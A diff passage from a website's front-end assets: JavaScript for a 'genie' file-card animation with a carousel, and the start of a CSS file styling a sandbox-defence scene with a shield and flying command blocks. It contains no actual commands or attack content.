var minS = g.minS, compressH = g.compressH;
|
||||||
|
/* 交错相位运动:底部先动先快,顶部延迟;侧边 72 段采样(≈1.6px/段)平滑无锯齿 */
|
||||||
|
var N = 72;
|
||||||
|
var RR = 3.5; /* 运动期四角圆角半径(与封面/终态 roundedRectD 一致,无圆直跳变) */
|
||||||
|
var now = p * GENIE_TOTAL;
|
||||||
|
var L = [], R = [];
|
||||||
|
var minX = 1e9, maxX = -1e9, minY = 1e9, maxY = -1e9;
|
||||||
|
for (var i = 0; i < N; i++) {
|
||||||
|
var v = (i + 0.5) / N;
|
||||||
|
var start = (1 - v) * GENIE_MAXDELAY;
|
||||||
|
var q = Math.min(Math.max((now - start) / GENIE_SLICE, 0), 1);
|
||||||
|
var e = easeInOut(q);
|
||||||
|
var sx = 1 - (1 - minS) * e;
|
||||||
|
var ty = (sinkY + (1 - v) * compressH) * e;
|
||||||
|
var tx = centerDx * e;
|
||||||
|
var lw = W * sx;
|
||||||
|
var lx = (W - lw) / 2 + tx, rx = lx + lw;
|
||||||
|
var yt = i * H / N + ty, yb = (i + 1) * H / N + ty;
|
||||||
|
L.push([lx, yt], [lx, yb]);
|
||||||
|
R.push([rx, yt], [rx, yb]);
|
||||||
|
if (lx < minX) minX = lx;
|
||||||
|
if (rx > maxX) maxX = rx;
|
||||||
|
if (yt < minY) minY = yt;
|
||||||
|
if (yb > maxY) maxY = yb;
|
||||||
|
}
|
||||||
|
/* 拼圆角多边形:四角 Q 贝塞尔(控制点=角点),角区两侧各截 RR 长——
|
||||||
|
顶/底边内缩 RR,侧边从 ±RR 处起笔(落在角区内的端部小段跳过/截断)。
|
||||||
|
这样 Q 跨距 RR×RR,等效圆角与端点 roundedRectD 的 r=3.5 圆弧视觉一致;
|
||||||
|
早前版本侧边只跨一个切片(H/N≈1.7px),Q 被压成 ~1px 微圆角≈直角,
|
||||||
|
倒放到位切换 roundedRectD 时圆角瞬间跳变(bug)。 */
|
||||||
|
var f = function (n) { return n.toFixed(1); };
|
||||||
|
var lt = L[0], rt = R[0];
|
||||||
|
var rbN = R[(N - 1) * 2 + 1], lbN = L[(N - 1) * 2 + 1];
|
||||||
|
var RRe = Math.min(RR, (rt[0] - lt[0]) / 2, (rbN[0] - lbN[0]) / 2, (lbN[1] - lt[1]) / 2);
|
||||||
|
var rtIn = lt[1] + RRe, rbIn = rbN[1] - RRe; /* 右侧:上角区下沿 / 下角区上沿 */
|
||||||
|
var ltIn = lt[1] + RRe, lbIn = lbN[1] - RRe; /* 左侧:上角区下沿 / 下角区上沿 */
|
||||||
|
var d = 'M' + f(lt[0] + RRe) + ',' + f(lt[1]);
|
||||||
|
d += ' L' + f(rt[0] - RRe) + ',' + f(rt[1]);
|
||||||
|
d += ' Q' + f(rt[0]) + ',' + f(rt[1]) + ' ' + f(rt[0]) + ',' + f(rtIn); /* 右上 */
|
||||||
|
for (var i = 0; i < N; i++) {
|
||||||
|
var u2 = R[i * 2], d2 = R[i * 2 + 1];
|
||||||
|
if (d2[1] <= rtIn || u2[1] >= rbIn) continue; /* 整段落在角区内 */
|
||||||
|
var ax = u2[0], ay = u2[1], bx = d2[0], by = d2[1];
|
||||||
|
if (ay < rtIn) { var s = (rtIn - ay) / (by - ay); ax += (bx - ax) * s; ay = rtIn; }
|
||||||
|
if (by > rbIn) { var s2 = (rbIn - ay) / (by - ay); bx = ax + (bx - ax) * s2; by = rbIn; }
|
||||||
|
d += ' L' + f(ax) + ',' + f(ay);
|
||||||
|
d += ' L' + f(bx) + ',' + f(by);
|
||||||
|
}
|
||||||
|
d += ' Q' + f(rbN[0]) + ',' + f(rbN[1]) + ' ' + f(rbN[0] - RRe) + ',' + f(rbN[1]); /* 右下 */
|
||||||
|
d += ' L' + f(lbN[0] + RRe) + ',' + f(lbN[1]); /* 底边 */
|
||||||
|
d += ' Q' + f(lbN[0]) + ',' + f(lbN[1]) + ' ' + f(lbN[0]) + ',' + f(lbIn); /* 左下 */
|
||||||
|
for (var j = N - 1; j >= 0; j--) {
|
||||||
|
var dn = L[j * 2 + 1], up = L[j * 2];
|
||||||
|
if (dn[1] <= ltIn || up[1] >= lbIn) continue; /* 整段落在角区内 */
|
||||||
|
var cx2 = dn[0], cy2 = dn[1], dx2 = up[0], dy2 = up[1];
|
||||||
|
if (cy2 > lbIn) { var s3 = (lbIn - dy2) / (cy2 - dy2); cx2 = dx2 + (cx2 - dx2) * s3; cy2 = lbIn; }
|
||||||
|
if (dy2 < ltIn) { var s4 = (ltIn - cy2) / (dy2 - cy2); dx2 = cx2 + (dx2 - cx2) * s4; dy2 = ltIn; }
|
||||||
|
d += ' L' + f(cx2) + ',' + f(cy2);
|
||||||
|
d += ' L' + f(dx2) + ',' + f(dy2);
|
||||||
|
}
|
||||||
|
d += ' Q' + f(lt[0]) + ',' + f(lt[1]) + ' ' + f(lt[0] + RRe) + ',' + f(lt[1]); /* 左上 */
|
||||||
|
d += ' Z';
|
||||||
|
shape.setAttribute('d', d);
|
||||||
|
/* 文字随轮廓中心移动、矢量缩小字号。
|
||||||
|
font-size 必须内联 style:presentation attribute 优先级低于 CSS 规则,会被压住 */
|
||||||
|
var cx = (minX + maxX) / 2, cy = (minY + maxY) / 2;
|
||||||
|
var sc = (maxX - minX) / W;
|
||||||
|
/* 字号双保险:随收窄等比缩,且不超过卡片宽能放下的上限(mono 字宽 ≈0.62em) */
|
||||||
|
var fsFit = (maxX - minX) * 0.88 / (name.textContent.length * 0.62);
|
||||||
|
var fs1 = Math.min(Math.max(15 * sc, 7), fsFit);
|
||||||
|
var fs2 = Math.max(11 * sc, 7);
|
||||||
|
name.setAttribute('x', cx);
|
||||||
|
name.setAttribute('y', cy - 2);
|
||||||
|
name.style.fontSize = fs1.toFixed(1) + 'px';
|
||||||
|
stat.setAttribute('x', cx);
|
||||||
|
stat.setAttribute('y', cy + fs2 + 2);
|
||||||
|
stat.style.fontSize = fs2.toFixed(1) + 'px';
|
||||||
|
return { x: minX, y: minY, w: maxX - minX, h: maxY - minY };
|
||||||
|
}
|
||||||
|
|
||||||
|
/* genie 正放(收盒 dir=1)/ 倒放(倒出 dir=-1):同一套帧函数双向驱动 */
|
||||||
|
async function genieRun(myGen, flight, dir) {
|
||||||
|
var g = flight._geom;
|
||||||
|
var lastBox = null;
|
||||||
|
await tween(GENIE_TOTAL, function (p) {
|
||||||
|
lastBox = genieFrame(flight, g, dir > 0 ? p : 1 - p);
|
||||||
|
}, myGen);
|
||||||
|
/* 端点定格为精确圆角矩形(收盒=盒口堆叠小卡;倒出=完整封面),消除折线近似 */
|
||||||
|
if (dir > 0) {
|
||||||
|
flight._shapeEl.setAttribute('d', roundedRectD(lastBox.x, lastBox.y, lastBox.w, lastBox.h, 3.5));
|
||||||
|
flight._lastBox = lastBox;
|
||||||
|
} else {
|
||||||
|
flight._shapeEl.setAttribute('d', roundedRectD(0, 0, g.W, g.H, 3.5));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async function genieIntoBox(myGen, r, flight) {
|
||||||
|
flight._geom = computeGenieGeom(flight, r);
|
||||||
|
var g = flight._geom;
|
||||||
|
flight.style.height = (g.H + g.sinkY + 20) + 'px'; /* SVG 视口加高覆盖下降路径 */
|
||||||
|
await genieRun(myGen, flight, 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* SVG 工具:SVG 元素必须用 createElementNS 创建(createElement 建的不渲染) */
|
||||||
|
var SVG_NS = 'http://www.w3.org/2000/svg';
|
||||||
|
function svgEl(tag, cls) {
|
||||||
|
var e = document.createElementNS(SVG_NS, tag);
|
||||||
|
if (cls) e.setAttribute('class', cls);
|
||||||
|
return e;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 圆角矩形 path(初始封面与终态卡片用;genie 期间为直边多边形) */
|
||||||
|
function roundedRectD(x, y, w, h, r) {
|
||||||
|
return 'M' + (x + r) + ',' + y +
|
||||||
|
' L' + (x + w - r) + ',' + y +
|
||||||
|
' A' + r + ',' + r + ' 0 0 1 ' + (x + w) + ',' + (y + r) +
|
||||||
|
' L' + (x + w) + ',' + (y + h - r) +
|
||||||
|
' A' + r + ',' + r + ' 0 0 1 ' + (x + w - r) + ',' + (y + h) +
|
||||||
|
' L' + (x + r) + ',' + (y + h) +
|
||||||
|
' A' + r + ',' + r + ' 0 0 1 ' + x + ',' + (y + h - r) +
|
||||||
|
' L' + x + ',' + (y + r) +
|
||||||
|
' A' + r + ',' + r + ' 0 0 1 ' + (x + r) + ',' + y + ' Z';
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 收盒前:文件卡片(SVG:path 纸色+描边,text 文件名+统计)渐变出现,
|
||||||
|
diff 内容直接消失;卡片是 SVG 单元素——描边跟随 path 轮廓(S 曲线斜边也有) */
|
||||||
|
async function showFileCover(r, myGen) {
|
||||||
|
var sr = stageRect();
|
||||||
|
var pr = toLocal(diffView.getBoundingClientRect(), sr);
|
||||||
|
var px = pr.left, py = pr.top;
|
||||||
|
var W = pr.width, H = pr.height;
|
||||||
|
var flight = svgEl('svg', 'file-flight');
|
||||||
|
flight.style.left = px + 'px';
|
||||||
|
flight.style.top = py + 'px';
|
||||||
|
flight.style.width = W + 'px';
|
||||||
|
flight.style.height = H + 'px';
|
||||||
|
/* 创建即设层级(先收最里 21,后收在前):封面期就必须在 diffView(z20) 之上 */
|
||||||
|
flight.style.zIndex = String(21 + r);
|
||||||
|
flight.dataset.px = px; flight.dataset.py = py;
|
||||||
|
flight.dataset.w = W; flight.dataset.h = H;
|
||||||
|
var shape = svgEl('path', 'file-flight-shape');
|
||||||
|
shape.setAttribute('d', roundedRectD(0, 0, W, H, 3.5));
|
||||||
|
var name = svgEl('text', 'file-cover-name');
|
||||||
|
name.setAttribute('x', W / 2);
|
||||||
|
name.setAttribute('y', H / 2 - 3);
|
||||||
|
name.setAttribute('text-anchor', 'middle');
|
||||||
|
name.textContent = ROUNDS[r].file;
|
||||||
|
var stat = svgEl('text', 'file-cover-stat');
|
||||||
|
stat.setAttribute('x', W / 2);
|
||||||
|
stat.setAttribute('y', H / 2 + 14);
|
||||||
|
stat.setAttribute('text-anchor', 'middle');
|
||||||
|
var add = svgEl('tspan', 'add'); add.textContent = '+2';
|
||||||
|
var del = svgEl('tspan', 'del'); del.textContent = ' -2';
|
||||||
|
stat.appendChild(add);
|
||||||
|
stat.appendChild(del);
|
||||||
|
flight.appendChild(shape);
|
||||||
|
flight.appendChild(name);
|
||||||
|
flight.appendChild(stat);
|
||||||
|
flight._shapeEl = shape; flight._nameEl = name; flight._statEl = stat; /* genie 帧渲染复用,免每帧 querySelector */
|
||||||
|
stage.appendChild(flight);
|
||||||
|
getComputedStyle(flight).opacity; /* getBoundingClientRect 只算几何不重算样式;getComputedStyle 才强制样式计算,定格 opacity 0 */
|
||||||
|
flight.classList.add('is-on');
|
||||||
|
await step(800, myGen); /* 等封面渐变动画完全结束(730ms + 余量) */
|
||||||
|
diffView.style.visibility = 'hidden'; /* 封面完全出现后,背后的 diff 瞬间消失 */
|
||||||
|
return flight;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 下轮 diff 内容就位:no-fade 禁用过渡——移除 is-shown 与恢复显示若同帧,
|
||||||
|
红绿底色会以 0.3s 淡出形式闪一下(有底色无文字);禁用后瞬时消失,无残影 */
|
||||||
|
function resetDiffForRound(r) {
|
||||||
|
setDiffTexts(r);
|
||||||
|
diffView.classList.add('no-fade');
|
||||||
|
dlines.forEach(function (d) { d.classList.remove('is-shown'); });
|
||||||
|
diffView.classList.remove('is-sheet');
|
||||||
|
buildDlineChars();
|
||||||
|
diffView.style.visibility = '';
|
||||||
|
diffView.style.opacity = ''; /* 恢复渐隐前的可见(no-fade 下瞬间生效,无闪) */
|
||||||
|
void diffView.offsetWidth; /* 强制样式计算:无过渡状态定格后再恢复过渡 */
|
||||||
|
diffView.classList.remove('no-fade');
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 纸上复现新一轮 4 行内容(长短不一):旧行淡出 → 换行宽 → 淡入 */
|
||||||
|
async function refillPaper(r, myGen) {
|
||||||
|
paper.classList.add('is-refilling');
|
||||||
|
await step(300, myGen);
|
||||||
|
lines.forEach(function (l, i) {
|
||||||
|
l.classList.remove('is-new');
|
||||||
|
l.dataset.w = ROUNDS[r].paperW[i];
|
||||||
|
});
|
||||||
|
applyWidths();
|
||||||
|
paper.classList.remove('is-refilling');
|
||||||
|
await step(400, myGen);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ───── 三轮收盒后:盒内卡片可交互 ─────
|
||||||
|
hover 微微向上抬+向右倾(选中感);点击倒放 genie 倒出卡片,内容渐变为该轮 diff;
|
||||||
|
再点(或点空白)正放收回——可反复查看。热区是独立 div:SVG 卡片本体
|
||||||
|
pointer-events 为 none,且三层卡只露出顶边一截;热区按各卡露出顶边条带定位,
|
||||||
|
重叠区归层级更高的(更靠前的卡),与视觉所见一致。 */
|
||||||
|
var flights = [];
|
||||||
|
var hotspots = [];
|
||||||
|
var replayDiffEl = null;
|
||||||
|
var browse = { active: false, opened: -1, busy: false };
|
||||||
|
|
||||||
|
/* 热区底边统一延伸到盒口前缘略下(前缘 214 + 凹口上段):
|
||||||
|
最前卡的可见区本就一直延伸到这里;三张卡热区互相重叠的部分由 z-index 自然归更靠前的卡,与视觉一致 */
|
||||||
|
var CARD_HOT_BOTTOM = 220;
|
||||||
|
|
||||||
|
function enableBrowse() {
|
||||||
|
browse.active = true;
|
||||||
|
flights.forEach(function (flight, r) {
|
||||||
|
if (!flight || !flight._lastBox) return;
|
||||||
|
var lb = flight._lastBox;
|
||||||
|
var hot = el('div', 'card-hotspot');
|
||||||
|
var topPx = +flight.dataset.py + lb.y;
|
||||||
|
hot.style.left = (+flight.dataset.px + lb.x) + 'px';
|
||||||
|
hot.style.top = topPx + 'px';
|
||||||
|
hot.style.width = lb.w + 'px';
|
||||||
|
hot.style.height = (CARD_HOT_BOTTOM - topPx) + 'px';
|
||||||
|
hot.style.zIndex = String(31 + r);
|
||||||
|
hot.addEventListener('mouseenter', function () {
|
||||||
|
if (browse.busy || browse.opened === r) return;
|
||||||
|
flight.classList.add('is-hover');
|
||||||
|
});
|
||||||
|
hot.addEventListener('mouseleave', function () {
|
||||||
|
flight.classList.remove('is-hover');
|
||||||
|
});
|
||||||
|
hot.addEventListener('click', function (ev) {
|
||||||
|
ev.stopPropagation();
|
||||||
|
pauseAutoplay(); /* 按下卡片:暂停轮播 5 秒,点哪张看哪张 */
|
||||||
|
onCardClick(r);
|
||||||
|
});
|
||||||
|
stage.appendChild(hot);
|
||||||
|
hotspots.push(hot);
|
||||||
|
});
|
||||||
|
/* 收盒完成,停 2 秒让观众看清堆叠结果,再自动开始轮播 */
|
||||||
|
var g = gen;
|
||||||
|
rafWait(2000).then(function () { if (browse.active && g === gen) startAutoplay(); });
|
||||||
|
}
|
||||||
|
|
||||||
|
function disableBrowse() {
|
||||||
|
stopAutoplay();
|
||||||
|
browse.active = false;
|
||||||
|
browse.opened = -1;
|
||||||
|
browse.busy = false;
|
||||||
|
pendingCardClick = -1;
|
||||||
|
hotspots.forEach(function (h) { h.parentNode && h.parentNode.removeChild(h); });
|
||||||
|
hotspots = [];
|
||||||
|
flights = [];
|
||||||
|
removeReplayDiff();
|
||||||
|
}
|
||||||
|
|
||||||
|
async function onCardClick(r) {
|
||||||
|
/* 点已展开的卡:无操作(轮播中先停轮播,走到这保持展开) */
|
||||||
|
if (browse.opened === r && !autoplay.on) return;
|
||||||
|
/* 切换动画进行中点击:记录意图,当前动画完成后执行(不被 busy 吞掉) */
|
||||||
|
if (browse.busy) { pendingCardClick = r; return; }
|
||||||
|
browse.busy = true;
|
||||||
|
pendingCardClick = -1;
|
||||||
|
try {
|
||||||
|
/* 已有展开卡:收回与倒出同时进行(一个塞回、一个倒出,视觉上是交换而非先后)。
|
||||||
|
opened 先占位新卡,两路动画各自驱动各自的 flight,互不干扰 */
|
||||||
|
var prev = browse.opened;
|
||||||
|
browse.opened = r;
|
||||||
|
var tasks = [openCardInner(r)];
|
||||||
|
if (prev >= 0) tasks.push(closeCardInner(prev));
|
||||||
|
await Promise.all(tasks);
|
||||||
|
} catch (e) {
|
||||||
|
if (e && e.message !== 'cancelled') throw e;
|
||||||
|
}
|
||||||
|
browse.busy = false;
|
||||||
|
if (pendingCardClick >= 0) {
|
||||||
|
var p = pendingCardClick;
|
||||||
|
pendingCardClick = -1;
|
||||||
|
onCardClick(p);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 倒出卡片:倒放 genie;最后 350ms 封面文字淡出、该轮 diff 逐行淡入(并行收尾) */
|
||||||
|
async function openCardInner(r) {
|
||||||
|
var myGen = gen;
|
||||||
|
var flight = flights[r];
|
||||||
|
browse.opened = r;
|
||||||
|
flight.classList.remove('is-hover');
|
||||||
|
if (hotspots[r]) hotspots[r].style.display = 'none';
|
||||||
|
var pouring = genieRun(myGen, flight, -1);
|
||||||
|
await step(GENIE_TOTAL - 350, myGen);
|
||||||
|
flight.classList.add('is-bare');
|
||||||
|
showReplayDiff(r);
|
||||||
|
await pouring;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 收回卡片 r:diff 快速淡出 + 封面文字淡回,随后正放 genie 回盒。
|
||||||
|
只负责收回本身,不碰 browse.opened(由调用方管理,支持收回/倒出并行) */
|
||||||
|
async function closeCardInner(r) {
|
||||||
|
var myGen = gen;
|
||||||
|
var flight = flights[r];
|
||||||
|
if (replayDiffEl) {
|
||||||
|
var d = replayDiffEl;
|
||||||
|
replayDiffEl = null;
|
||||||
|
d.classList.add('is-closing');
|
||||||
|
setTimeout(function () { d.parentNode && d.parentNode.removeChild(d); }, 260);
|
||||||
|
}
|
||||||
|
flight.classList.remove('is-bare');
|
||||||
|
await step(160, myGen);
|
||||||
|
await genieRun(myGen, flight, 1);
|
||||||
|
if (hotspots[r]) hotspots[r].style.display = '';
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 展开后的 diff 层:位置同 diffView(卡片倒出落点),四行逐行淡入;点击它即收回 */
|
||||||
|
function showReplayDiff(r) {
|
||||||
|
removeReplayDiff();
|
||||||
|
var e = ROUNDS[r].edits;
|
||||||
|
var rows = [
|
||||||
|
{ t: e[0].del, c: 'is-del', s: '-' },
|
||||||
|
{ t: e[0].add, c: 'is-add', s: '+' },
|
||||||
|
{ t: e[1].del, c: 'is-del', s: '-' },
|
||||||
|
{ t: e[1].add, c: 'is-add', s: '+' }
|
||||||
|
];
|
||||||
|
var d = el('div', 'replay-diff');
|
||||||
|
rows.forEach(function (row, i) {
|
||||||
|
var line = el('div', 'dline is-shown ' + row.c);
|
||||||
|
line.style.transitionDelay = (i * 70) + 'ms';
|
||||||
|
var sign = el('span', 'dsign'); sign.textContent = row.s;
|
||||||
|
var text = el('span', 'dtext'); text.textContent = row.t;
|
||||||
|
line.appendChild(sign);
|
||||||
|
line.appendChild(text);
|
||||||
|
d.appendChild(line);
|
||||||
|
});
|
||||||
|
d.addEventListener('click', function (ev) {
|
||||||
|
ev.stopPropagation();
|
||||||
|
closeOpenedCard();
|
||||||
|
});
|
||||||
|
stage.appendChild(d);
|
||||||
|
getComputedStyle(d).opacity; /* 强制样式计算:起始 opacity 0 定格后再开过渡 */
|
||||||
|
d.classList.add('is-on');
|
||||||
|
replayDiffEl = d;
|
||||||
|
}
|
||||||
|
|
||||||
|
function removeReplayDiff() {
|
||||||
|
if (replayDiffEl) { replayDiffEl.parentNode && replayDiffEl.parentNode.removeChild(replayDiffEl); replayDiffEl = null; }
|
||||||
|
}
|
||||||
|
|
||||||
|
function closeOpenedCard() {
|
||||||
|
pauseAutoplay(); /* 用户手动收回卡片:同样暂停轮播 5 秒 */
|
||||||
|
if (browse.busy || browse.opened < 0) return;
|
||||||
|
browse.busy = true;
|
||||||
|
var r = browse.opened;
|
||||||
|
browse.opened = -1;
|
||||||
|
closeCardInner(r).then(function () { browse.busy = false; }, function (err) {
|
||||||
|
browse.busy = false;
|
||||||
|
if (err && err.message !== 'cancelled') throw err;
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ───── 自动轮播:收盒完成后自动开始,循环倒出/收回三张卡的详情;
|
||||||
|
用户按下卡片(或手动收回)暂停 5 秒,之后自动恢复 ───── */
|
||||||
|
var AUTOPLAY_DWELL = 4000; /* 每次切换间隔(倒出 833ms + diff 淡入 + 阅读停留) */
|
||||||
|
var AUTOPLAY_PAUSE_MS = 5000; /* 用户操作后暂停轮播的时长 */
|
||||||
|
var autoplay = { on: false, timer: null, resumeTimer: null, idx: -1 };
|
||||||
|
var pendingCardClick = -1;
|
||||||
|
|
||||||
|
function startAutoplay() {
|
||||||
|
if (!browse.active || autoplay.on) return;
|
||||||
|
autoplay.on = true;
|
||||||
|
autoplay.idx = browse.opened; /* 从当前展开卡的下一张开始;无展开则从第 1 张开始 */
|
||||||
|
autoplayTick();
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 彻底停止(重播/卸载时):连恢复计时一起清。
|
||||||
|
timer 是标识对象而非 setTimeout id——轮播间隔由 rafWait 驱动,回调比对引用失效即放弃 */
|
||||||
|
function stopAutoplay() {
|
||||||
|
autoplay.on = false;
|
||||||
|
autoplay.timer = null;
|
||||||
|
if (autoplay.resumeTimer) { clearTimeout(autoplay.resumeTimer); autoplay.resumeTimer = null; }
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 暂停 5 秒(用户操作时):期间轮播不动作,5 秒后自动恢复 */
|
||||||
|
function pauseAutoplay() {
|
||||||
|
autoplay.on = false;
|
||||||
|
autoplay.timer = null;
|
||||||
|
if (autoplay.resumeTimer) clearTimeout(autoplay.resumeTimer);
|
||||||
|
autoplay.resumeTimer = setTimeout(function () {
|
||||||
|
autoplay.resumeTimer = null;
|
||||||
|
if (browse.active) startAutoplay();
|
||||||
|
}, AUTOPLAY_PAUSE_MS);
|
||||||
|
}
|
||||||
|
|
||||||
|
function autoplayTick() {
|
||||||
|
if (!autoplay.on) return;
|
||||||
|
autoplay.idx = (autoplay.idx + 1) % flights.length;
|
||||||
|
onCardClick(autoplay.idx);
|
||||||
|
var t = autoplay.timer = {};
|
||||||
|
rafWait(AUTOPLAY_DWELL).then(function () {
|
||||||
|
if (autoplay.on && autoplay.timer === t) autoplayTick();
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
async function play() {
|
||||||
|
var myGen = ++gen;
|
||||||
|
try {
|
||||||
|
for (var r = 0; r < ROUNDS.length; r++) {
|
||||||
|
// 0) 首轮等待开场(后续轮的纸面换新已并入上一轮收盒期间并行完成,无需等待)
|
||||||
|
if (r === 0) {
|
||||||
|
await step(650, myGen);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 1) 笔飞到纸上,先后改写第 2、3 行;擦旧行时红行 - 飘出,写新行时绿行 + 飘出(diff 实时构建)
|
||||||
|
await rewriteLine(lines[1], ROUNDS[r].edits[0].newW, dlines[0], dlines[1], myGen);
|
||||||
|
await rewriteLine(lines[2], ROUNDS[r].edits[1].newW, dlines[2], dlines[3], myGen);
|
||||||
|
|
||||||
|
// 2) 笔飞回智能体右侧(不再空等:飞行 500ms 与封面渐现 520ms 并行重叠)
|
||||||
|
penPos.classList.remove('is-live');
|
||||||
|
nibTo(PEN_HOME.x, PEN_HOME.y, stageRect());
|
||||||
|
|
||||||
|
// 3) 收件箱始终显示(页面加载即在,无淡入步骤)
|
||||||
|
|
||||||
|
// 4) 文件卡片渐变出现(diff 内容直接消失)→ genie 裁切收进盒子(先收最里,再依次向前)
|
||||||
|
var flight = await showFileCover(r, myGen);
|
||||||
|
flights[r] = flight;
|
||||||
|
if (r < ROUNDS.length - 1) {
|
||||||
|
// 5) 收盒与下一轮内容浮现同时进行:diff 区在封面下瞬时重建(不可见),
|
||||||
|
// 纸面淡出旧行、淡入新行——卡片插进盒子时,下一轮的内容已就位
|
||||||
|
resetDiffForRound(r + 1);
|
||||||
|
var collecting = genieIntoBox(myGen, r, flight);
|
||||||
|
await refillPaper(r + 1, myGen);
|
||||||
|
await collecting;
|
||||||
|
} else {
|
||||||
|
await genieIntoBox(myGen, r, flight);
|
||||||
|
// 6) 末轮三张卡全部收盒后,进入可查看交互(hover 微倾/点击倒出)
|
||||||
|
enableBrowse();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (e) {
|
||||||
|
if (e && e.message !== 'cancelled') throw e;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* stage 空白点击只承担「收回展开卡」(轮播由 pauseAutoplay 暂停) */
|
||||||
|
stage.addEventListener('click', function () {
|
||||||
|
if (browse.active && browse.opened >= 0) closeOpenedCard();
|
||||||
|
});
|
||||||
|
|
||||||
|
updateScale();
|
||||||
|
applyWidths();
|
||||||
|
penPos.classList.add('is-live'); /* 初始就位瞬移 */
|
||||||
|
nibTo(PEN_HOME.x, PEN_HOME.y, stageRect());
|
||||||
|
void penPos.offsetWidth; /* 强制样式计算后再恢复过渡 */
|
||||||
|
penPos.classList.remove('is-live');
|
||||||
|
/* 进入视口才开始播放:页面打开时用户可能还没滚到功能区,避免错过开场 */
|
||||||
|
var started = false;
|
||||||
|
var io = new IntersectionObserver(function (entries) {
|
||||||
|
if (!started && entries[0].isIntersecting) {
|
||||||
|
started = true;
|
||||||
|
io.disconnect();
|
||||||
|
play();
|
||||||
|
}
|
||||||
|
}, { threshold: 0.3 });
|
||||||
|
io.observe(container);
|
||||||
|
}
|
||||||
|
|
||||||
|
return { init: init };
|
||||||
|
})();
|
||||||
111
website-design/exp/site-assets/anim-sandbox.css
Normal file
@ -0,0 +1,111 @@
|
|||||||
|
/* 沙箱与网络授权动画 —— 场景样式(主页 feature 行 / anim2-demo 页共用)
|
||||||
|
无边框无底色,融于星空;无 glow。恶意命令红 --danger 定义在 .anim2-window 作用域。 */
|
||||||
|
|
||||||
|
/* ───────── 动画容器 ───────── */
|
||||||
|
|
||||||
|
.anim2-window {
|
||||||
|
--danger: #d47b6b; /* 恶意命令红,仅本动画作用域 */
|
||||||
|
width: 100%;
|
||||||
|
height: 100%;
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ───────── 场景区 ───────── */
|
||||||
|
|
||||||
|
.anim2-stage {
|
||||||
|
position: relative;
|
||||||
|
flex: 1;
|
||||||
|
overflow: hidden;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 防御者:右侧,六边形 + 盾牌(尺寸与 04 版本控制的智能体一致:70×70) */
|
||||||
|
.defender {
|
||||||
|
position: absolute;
|
||||||
|
right: 36px;
|
||||||
|
bottom: 26px;
|
||||||
|
width: 70px;
|
||||||
|
height: 70px;
|
||||||
|
}
|
||||||
|
.defender-avatar {
|
||||||
|
display: block;
|
||||||
|
width: 70px;
|
||||||
|
height: 70px;
|
||||||
|
color: var(--text-1);
|
||||||
|
}
|
||||||
|
.defender-avatar .astrion-avatar { width: 100%; height: 100%; }
|
||||||
|
|
||||||
|
/* 盾牌举向左上方:顺时针倾斜(尖底朝左下),与六边形左上部分重叠遮挡,实色填充不透底 */
|
||||||
|
.defender-shield {
|
||||||
|
position: absolute;
|
||||||
|
left: -19px; /* 与角色同比例(96→70,×0.729)等比缩小 */
|
||||||
|
top: -9px;
|
||||||
|
width: 51px;
|
||||||
|
height: 51px;
|
||||||
|
color: var(--accent);
|
||||||
|
fill: var(--bg-1);
|
||||||
|
transform: rotate(24deg);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 盾牌/智能体受击后坐回弹 */
|
||||||
|
@keyframes defender-brace {
|
||||||
|
0% { transform: translateX(0); }
|
||||||
|
30% { transform: translateX(5px); }
|
||||||
|
60% { transform: translateX(-1.5px); }
|
||||||
|
100% { transform: translateX(0); }
|
||||||
|
}
|
||||||
|
.defender.is-hit { animation: defender-brace 0.34s ease; }
|
||||||
|
|
||||||
|
/* ───────── 飞行中的命令块 ───────── */
|
||||||
|
|
||||||
|
.cmd-projectile {
|
||||||
|
position: absolute;
|
||||||
|
left: 0;
|
||||||
|
top: 0;
|
||||||
|
font-family: var(--font-mono);
|
||||||
|
font-size: 13.5px;
|
||||||
|
font-weight: 600;
|
||||||
|
color: var(--danger);
|
||||||
|
white-space: nowrap;
|
||||||
|
will-change: transform;
|
||||||
|
/* 装填入场只动透明度:fill both 保持 transform 会压住 JS 逐帧位移动画 */
|
||||||
|
animation: cmd-load 0.4s ease both;
|
||||||
|
}
|
||||||
|
@keyframes cmd-load {
|
||||||
|
from { opacity: 0; }
|
||||||
|
to { opacity: 1; }
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ───────── 字符碎片(撞击后炸开) ───────── */
|
||||||
|
|
||||||
|
.cmd-shard {
|
||||||
|
position: absolute;
|
||||||
|
left: 0;
|
||||||
|
top: 0;
|
||||||
|
font-family: var(--font-mono);
|
||||||
|
font-size: 13.5px;
|
||||||
|
font-weight: 600;
|
||||||
|
color: var(--danger);
|
||||||
|
will-change: transform, opacity;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ───────── 撞击扩散环(描边圆环,非光晕) ───────── */
|
||||||
|
|
||||||
|
.impact-ring {
|
||||||
|
position: absolute;
|
||||||
|
width: 41px; /* 随盾牌等比(56×0.729) */
|
||||||
|
height: 41px;
|
||||||
|
border: 2px solid var(--accent-strong);
|
||||||
|
border-radius: 50%;
|
||||||
|
opacity: 0;
|
||||||
|
pointer-events: none;
|
||||||
|
transform: translate(-50%, -50%) scale(0.3);
|
||||||
|
}
|
||||||
|
.impact-ring.is-active {
|
||||||
|
animation: impact-expand 0.45s ease-out both;
|
||||||
|
}
|
||||||
|
@keyframes impact-expand {
|
||||||
|
